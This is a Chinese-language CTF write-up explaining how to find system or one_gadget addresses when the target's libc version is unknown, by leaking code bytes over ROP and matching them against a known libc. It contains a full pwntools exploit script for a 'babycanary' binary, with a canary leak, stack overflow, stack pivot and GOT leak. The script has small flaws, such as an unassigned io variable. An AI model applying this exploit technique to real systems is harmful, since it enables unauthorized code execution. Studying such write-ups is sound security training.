【pwn】未知libc版本利用的一个蠢方法

前几天看了一道题,题目本身还是比较常规的,这题的预期解法是通过_dl_runtime_resolve来做的。但我就是想用栈溢出+栈迁移碰一碰,整了半天就差onegadget地址了,查了一下libc search发现找不到对应的版本,可能出题人就是想用一个比较偏的libc版本把这条路封死,但我最后还是硬怼出来了。以后如果遇到了数据库中找不到对应的libc版本的时候可以尝试一下这种方法(当然ctf题中一般不会出个很偏的libc版本)。

条件:1.libc中的一个任意地址(通过泄露got表就可得到)。2.可以通过rop进行任意地址泄露。
想法很简单,因为libc不同版本之间的差异并不会很大,粗粒度地无非是增删一些函数,细粒度地对函数内的基本块进行微调。造成的影响也只是偏移不同,并且不同函数在libc不同版本中的相对位置也是差不多的。那么首先就可以通过任意地址泄露去泄露libc中的任意一个地址,根据输出的内容可以进行大致的判断,比如这个地址是数据段,还是代码段。如果是数据段,那么这个地址偏大,就往小里调继续泄露,直到代码段为止。如果是代码段,那么输出的就是16进制机器码。这时我们可以在一个已知的libc中匹配有输出的指令的地方。

from pwn import *
libc=ELF('./libc-2.31.so')
#s='\x35\x0a'
s='\x31\xd2\xbf\x03'
p=list(libc.search(s))
print([hex(i) for i in p])

然后去已知libc中定位这个位置(不会匹配到很多),就可以知道当前这个地址是什么函数的什么位置,然后和目标函数(system,onegadget)的位置进行比较,高了还是低了,并对地址进行调整,继续进行泄露。然后不断地进行二分法查找,运气好的话很快就能定位到目标函数,进而微调就可以了。

from pwn import *

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
#io=process('./babycanary')
ELF('./babycanary')
io.recvuntil('% ^ & * :')
io.send('%9$p')
io.recvuntil('0x')
canary=int(io.recv(16),16)
print(hex(canary))
bss=0x6011A0
pop_rdi=0x400963
sleep_got=0x00601050
puts_plt=0x04005F0
puts_got=0x601018

rop='a'*0x100+p64(canary)+p64(0x6011d0+0x30)+p64(pop_rdi)+p64(sleep_got)+p64(puts_plt)+p64(0x00400822)+p64(0x400852)*8+p64(0x6011d0)
io.sendafter('s 5 0 n g :',rop)
pl='a'*0x28+p64(canary)+p64(bss+8)
#gdb.attach(io)
io.sendafter('s h 0 m e :',pl)
sleep_add=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print(hex(sleep_add))
sh=sleep_add+0xaa000+0x2a95+0x10
one_gadget=sh-0x161C19+0x40000-0x3114+0x48e+14+7+7+13+7+14+0x46

'''泄露加调整(这里可以把上面本地libc匹配的代码整合在一起)
pl2=p64(0x6011d0)+p64(pop_rdi)+p64(one_gadget)+p64(puts_plt)+'a'*0x8+p64(canary)+p64(0x6011d0)
io.recvline()
k=io.recvline()
print(k)
print([hex(ord(i)) for i in k])
'''
io.send(pl2)
pl2=p64(0x6011d0)+p64(one_gadget)+p64(one_gadget)+p64(puts_plt)+'a'*0x8+p64(canary)+p64(0x6011d0)
io.interactive()

sh=sleep_add+0xaa000+0x2a95+0x10
one_gadget=sh-0x161C19+0x40000-0x3114+0x48e+14+7+7+13+7+14+0x46
这是我进行调整的痕迹,也没有调很多次是吧(:

ps:其实人工调挺不优雅的,有空可以整个自动化的工具。

你可能感兴趣的:(pwn)